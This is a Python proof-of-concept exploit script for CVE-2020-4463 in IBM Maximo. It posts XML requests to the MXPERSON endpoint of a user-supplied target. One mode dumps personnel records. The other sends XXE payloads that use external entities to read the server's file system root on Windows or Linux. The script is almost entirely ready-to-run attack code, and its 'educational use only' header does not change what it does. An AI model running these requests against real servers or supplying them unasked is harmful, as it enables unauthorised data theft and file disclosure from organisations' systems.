#!/usr/bin/python3
############
# @Author Ibonok
#
# CVE-2020-4463 IBM Maximo XXE
#
# Do not use this in productiv enviroments.
# For educational use only.
#
############
from colorama import init, Fore, Style
import sys
import requests
import argparse
def dataeleak_example(url):
# Mandatory Headers
headers = {'Content-Type': 'application/xml'}
basepath = "/meaweb/os/mxperson"
# DUMP MXPERSON
xml_query = """<?xml version='1.0' encoding='UTF-8'?>
<max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
<max:MXPERSONQuery>
</max:MXPERSONQuery>
</max:QueryMXPERSON>"""
print (requests.post(url + basepath, data=xml_query, headers=headers, verify=False).text)
def xxe_example(url):
# Mandatory Headers
headers = {'Content-Type': 'application/xml'}
basepath = "/meaweb/os/mxperson"
# XXE Windows
xml_query = """<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///c:/">
]>
<max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
<max:MXPERSONQuery>
<max:PERSON>
<max:PERSONUID>&xxe;</max:PERSONUID>
</max:PERSON>
</max:MXPERSONQuery>
</max:QueryMXPERSON>"""
print (requests.post(url + basepath, data=xml_query, headers=headers, verify=False).text)
# XXE Linux
xml_query = """<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///">
]>
<max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
<max:MXPERSONQuery>
<max:PERSON>
<max:PERSONUID>&xxe;</max:PERSONUID>
</max:PERSON>
</max:MXPERSONQuery>
</max:QueryMXPERSON>"""
print (requests.post(url + basepath, data=xml_query, headers=headers, verify=False).text)
def check_args ():
init(autoreset=True)
pars = argparse.ArgumentParser(description=Fore.GREEN + Style.BRIGHT + 'CVE-2020-4463 PoC Data Leakage and XXE' + Style.RESET_ALL)
pars.add_argument('-x', '--xxe', nargs='?', type=str2bool, default=False, const=True, help='XXE (Linux/Windows)')
pars.add_argument('-d', '--dataleak', nargs='?', type=str2bool, default=False, const=True, help='Data Leakage REST request MXPERSON. May take a long time.')
pars.add_argument('--url', nargs='?', help='Target URL http://, https://')
args = pars.parse_args()
if args.url is None:
pars.error(Fore.RED + '--url required')
elif args.url and args.xxe is False and args.dataleak is False:
pars.error(Fore.RED + '-x/-xxe, or -d/--dataleak is missing')
elif args.url and args.xxe:
return args.url, args.xxe, args.dataleak
elif args.url and args.dataleak:
return args.url, args.xxe, args.dataleak
elif args.url and args.xxe and args.dataleak:
pars.error(Fore.RED + 'To many Parameters, please check --help')
def single_url(url, xxe, dataleak):
if dataleak:
dataeleak_example ( url)
elif xxe:
xxe_example ( url)
else:
sys.exit()
def str2bool(v):
if isinstance(v, bool):
return v
if v.lower() in ('yes', 'true', 't', 'y', '1'):
return True
elif v.lower() in ('no', 'false', 'f', 'n', '0'):
return False
else:
raise argparse.ArgumentTypeError('Boolean value expected.')
if __name__ == "__main__":
try:
(url, xxe, dataleak) = check_args()
single_url(url, xxe, dataleak)
except KeyboardInterrupt:
sys.exit()
暂无评论